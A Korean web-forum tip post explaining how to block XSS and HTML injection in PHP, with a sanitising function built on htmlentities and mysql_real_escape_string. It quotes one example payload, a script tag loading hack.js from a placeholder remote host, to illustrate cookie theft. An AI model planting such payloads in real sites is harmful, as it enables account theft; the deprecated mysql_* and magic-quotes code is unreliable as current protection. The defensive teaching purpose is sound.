HTML Injection 막기
XSS는 사용자의 입력으로 HTML이나 흔하게는 자바스크립트 코드를 허용했을 때 발생합니다.
XSS는 주로 댓글 입력폼에서 가장 흔하게 발생합니다.
가장 자주 발생하는 형태는 악의적인 사용자가 웹 사이트의 사용자로부터
계정의 이름과 암호 쿠키를 훔치기 위한 코드를 작성하려고 시도하는 것 입니다.
더욱 더 나쁜 것은 다른 사용자의 컴퓨터에 트로이 바이러스를 다운로드하는 공격에 착수할 수 있다는 것 입니다.
크로스 사이트 스크립트를 막으려면 모든 HTML 마크업 코드를 제거하고 문자를 출력하는 형태로 교체해야 합니다.
<script src='http://x.com/hack.js'> </script> <script> hack(); </script>
만약 해커가 다음과 같은 코드를 작성했다고 했을 때
htmlentities로 전달되면 자바스크립트를 실행하는 기호가 < > 로 해석되어 자바스크립트가 실행되지 않습니다.
따라서 SQL과 XSS 인젝션을 모두 처리 할 수 있는 함수는 다음과 같습니다.
<?php
function mysql_entities_fix_string($string)
{
return htmlentities(mysql_fix_string($string));
}
function mysql_fix_string($string)
{
if (get_magic_quotes_gpc()) $string = stripslashes($string);
return mysql_real_escape_string($string);
}
?>
참고서적 : Learning PHP, MySQL , JavaScript & CSS
댓글 6개
감사합니다.
게시판 목록
그누보드5 팁자료실
| 번호 | 제목 | 글쓴이 | 날짜 | 조회 |
|---|---|---|---|---|
| 공지 | 3년 전 | 4404 | ||
| 1794 |
|
4년 전 | 5890 | |
| 1793 | 4년 전 | 2862 | ||
| 1792 |
|
4년 전 | 5292 | |
| 1791 |
iiliiiliii
|
4년 전 | 6016 | |
| 1790 |
iiliiiliii
|
4년 전 | 3885 | |
| 1789 |
iiliiiliii
|
4년 전 | 6217 | |
| 1788 |
|
4년 전 | 3316 | |
| 1787 | 4년 전 | 3791 | ||
| 1786 | 4년 전 | 5371 | ||
| 1785 | 4년 전 | 3999 | ||
| 1784 | 4년 전 | 3187 | ||
| 1783 | 4년 전 | 6368 | ||
| 1782 |
welcome
|
4년 전 | 5196 | |
| 1781 | 4년 전 | 3470 | ||
| 1780 | 4년 전 | 12229 | ||
| 1779 |
welcome
|
4년 전 | 4873 | |
| 1778 |
|
4년 전 | 3635 | |
| 1777 | 4년 전 | 3821 | ||
| 1776 | 4년 전 | 5450 | ||
| 1775 |
그누x쵸딩
|
4년 전 | 3136 | |
| 1774 |
슈퍼스타맨
|
4년 전 | 4385 | |
| 1773 | 4년 전 | 3996 | ||
| 1772 | 4년 전 | 4363 | ||
| 1771 | 4년 전 | 6592 | ||
| 1770 | 4년 전 | 2940 | ||
| 1769 | 4년 전 | 4925 | ||
| 1768 | 4년 전 | 5610 | ||
| 1767 | 4년 전 | 3717 | ||
| 1766 | 4년 전 | 2809 | ||
| 1765 | 4년 전 | 3046 |
댓글 작성
댓글을 작성하시려면 로그인이 필요합니다.
로그인하기